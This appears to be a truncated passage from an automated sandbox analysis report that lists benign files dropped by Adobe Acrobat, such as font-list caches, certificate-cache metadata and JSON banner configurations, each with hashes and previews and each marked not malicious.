SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklxh6/tfllXlE/HT8kblXNNX8RolJuRdxLlGB9lQRYwpDdt:kK1eT8AldNMa8RdWBwRd
MD5:	6E689EE2FA59A116834E7E97FA4B3910
SHA1:	9EFC8AF24D33E9D1065BE4A54F975493A3EFB8BC
SHA-256:	905554178128C974E60B4C4F1241331199D54AB1A9676C4657D18712F66C6132
SHA-512:	BEE5C672DE47F9BFC0192C81F557AD4C4A08ED3B23C8208721884E3C7EE5B98672070B088E2EE9DABB492D7B5BA3A060FB4551E420368AD71EBA346365E3F6CE
Malicious:	false
Preview:	p...... ........B...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK9C+sL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:DsiDImsLNkPlE99SNxAhUe/3
MD5:	5FA6B6A506D5F29D213C016A2A92616F
SHA1:	5033E14D79470EF07F2B20504AD3D4EACE9E66F6
SHA-256:	D327E85174A874642A29E9798B4EB534EE40C5E4A94F585B3ABCFB59F6733FF1
SHA-512:	8CF87DC48290386173E0546A24FDDDB5F5E0E927FF9B331F3AE89D5CB399013255B761AC08FD8292D01BB4162BBF12F456E15A9ADD5363C5F2FDF51301DB1323
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2516

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2516

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331109699546273
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJM3g98kUwPeUkwRe9:YvXKXOGNYpW7F/GMbLUkee9
MD5:	73A44455DE1EA94F649624307A0FD594
SHA1:	0120E29C96CA999D038F2FFC5E1F2F725DD17585
SHA-256:	5EEE872741FEA3604FCCBCDCFB32C5831888AB700E72FAA5D3CE1FB9AD2747C2
SHA-512:	B7D281ABD5372DD32F172867658C07EB15F848408FEBF424339F611E7E55258BDAD2459068620FA9792219462F6144BE6FA2825C9D1027C4347BE1A3C1EE5866
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272113271762312
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfBoTfXpnrPeUkwRe9:YvXKXOGNYpW7F/GWTfXcUkee9
MD5:	0C4460553AA6DD52EB0D5F909A379C65
SHA1:	F901B2844FC19EF46A531939A30998A79D3340CF
SHA-256:	369153ED45681CF389AC69355D80BB8CC2ED5D7A9D3AC74BDCCA71996FD49309
SHA-512:	0676F18A8AB8693D2EE3D9B17528E725EF1B053DFB11A45392414E3D661B7764A205014844C6600B5F68B478C333E481F7FD2D27C8C78B95F722B9C34360B762
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250819485989191
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfBD2G6UpnrPeUkwRe9:YvXKXOGNYpW7F/GR22cUkee9
MD5:	74EDA18E887B291653CB6E0B1B4DB8C4
SHA1:	F2F45307DD2AD65FF631CD7C4DEC7CEC1D5025DB
SHA-256:	BB941357D68B2821987D5675E2F1B8BE0B9736A4453FD24D18953BF56A416B45
SHA-512:	0E6C9ACB50ACBC49822E7548F200B46F43CC60CF6A439E0D662F884E3B0769D19D8BC156212F4D57B20F9AD6E33C7AFD3D253ED612D1DF0A0E0C1AF02C6A91EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.308870868892457
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfPmwrPeUkwRe9:YvXKXOGNYpW7F/GH56Ukee9
MD5:	C524DE431642DBF1CB466A1773F763D0
SHA1:	DA25AE27AD330F7D1EA036316ACA87671D8A9EC4
SHA-256:	38146CC113A713BFFE61E02B17A0BF82C2492D99C5D00358FB6217998F2C3760
SHA-512:	6EEC99747D995BCCA7D64CD11684996A6B3B8E5D54D223F1045303D26F369073BB72381E3F4DE316CCB6280F015DDC0DCF954DD04000FC416D300AD2404E72E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687544854748421
Encrypted:	false
SSDEEP:	24:Yv6XaiqpLgE9cQx8LennAvzBvkn0RCmK8czOCCSq:YvSqhgy6SAFv5Ah8cv/q
MD5:	1AE649D511BB763B657C2E899991A876
SHA1:	134B22C68E59A9A6A3CFBC2CC3425903A37BEF62
SHA-256:	1ADF9ABB8D47F8E12B576CE40441F6F76440AC3D33FEEC094840EF5F2583DB56
SHA-512:	17525E49FA8D4204A8E1FC0B13723111D6994860D2A3708D62F886E9F90A4FAEE7BC7E3D9ADE9763D8F454E8C7B780337CB82FC318DCEAC513447CABEB8BC530
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25660238740842
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJf8dPeUkwRe9:YvXKXOGNYpW7F/GU8Ukee9
MD5:	079228D50586ED4A31BCE47C4E8DC936
SHA1:	7F98FF27AF80F831A7EDB16A85B3E6ACB2275A89
SHA-256:	1F17C09D010351205465B1B940FB8DF4EB8C9E33E7AD2AC5822BC5F1CECC21FA
SHA-512:	47B1215C5BFAF3090C1804E79CB79E53BF6D983F0DB7871AD456F8C70FF4FFA28B5D468B4051E9ECA8A166BAE31B554CF25CAF5B03F4AC3C4D219CB121FC5EB4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2588778782285175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfQ1rPeUkwRe9:YvXKXOGNYpW7F/GY16Ukee9
MD5:	363C82D500F2617B04609AA6959CDCAF
SHA1:	5C5FBAE7093B12B014CEE2B2F47F66A2CD7534A3
SHA-256:	31305E61BE26F4EC8BA15E151B44E295DD845A0B754321B1707DB0377753277D
SHA-512:	DC43B4843020D5EF907C0F75026DB17202D75E40AF5F599F17AF5C76F8057D28D970F6054AECD41FBC6A0B6D00DA6DC776C99EB5EC1297AF5A352D884F6FD386
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278885921031621
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfFldPeUkwRe9:YvXKXOGNYpW7F/Gz8Ukee9
MD5:	377F2CAB22FC8A7502B87111FC5F8B65
SHA1:	5B2E48D492637AA9CA4C00A161196230BAB24F7E
SHA-256:	0C1EAA5D85D36D083E60E3B23822F51E7EB8FE7C6BCFFBFE1BE3C4A3C9DF6AC6
SHA-512:	B280C9BC7F0E00C189F3CE82C514A73D30E4391BBF64AD37DE55FE827A8CEDDD4704BED6CABA929A6A0262F880B94482BEFDA50E8F7A68CAEAE63C8966D83E62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.283920112520781
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfzdPeUkwRe9:YvXKXOGNYpW7F/Gb8Ukee9
MD5:	56B7AFE2E90597B035E7B6F6C1EA6165
SHA1:	7A740D8FD0E5F9425EDF064DDD31D8AB2678F019
SHA-256:	0DBF749451EAD847A5BA54E4ECA488B6C9E96EBE1F5CF2CB58F0995B378BB56A
SHA-512:	46745828E427E99BBF24FDDB123B6A7F01CEBFE4454ADD1D0E7A1F76AC2A1AE6E3BB9B52339DF198EA74DFC1270A5642D1B2AB3A426CDF5035A491A94C40B4CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264368340994214
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfYdPeUkwRe9:YvXKXOGNYpW7F/Gg8Ukee9
MD5:	5E522D6A2F24C91D47969839820BB081
SHA1:	82361E5F04B049FF908DB8F6FFB63B8C918BCC66
SHA-256:	6042E509C8D5BBBF0DCA8644D85BE7AD0C0E0C822B0DEBC479299295355CFD9E
SHA-512:	426880DF9E6B00E041BCBCD3285C014A0E91EECF7012C3BDA4334F22B7FAF3E64EE6E72F76980632177EDF4C5C1C5D780BDB4F88BE8FCA0DA908F4BDD23B81DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.249791395876844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJf+dPeUkwRe9:YvXKXOGNYpW7F/G28Ukee9
MD5:	1147D650576D881777CE79906584E88F
SHA1:	A21E4862628174EDB9CC80910412A1A558DBA7CB
SHA-256:	A3B5038D6F9EA9D6C7AA960CED36D410CDD32535C6D0FEA1431ACA2705CF9231
SHA-512:	90AD9ADFF925058D6035753085AA5637F3DD6FE6871A414E87D2424D6B4635DFE807E7691EE06BE30838F7657A843C69EA5F06F60F621526BFB9F38413A5A301
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.248160329795266
Encrypted:	false
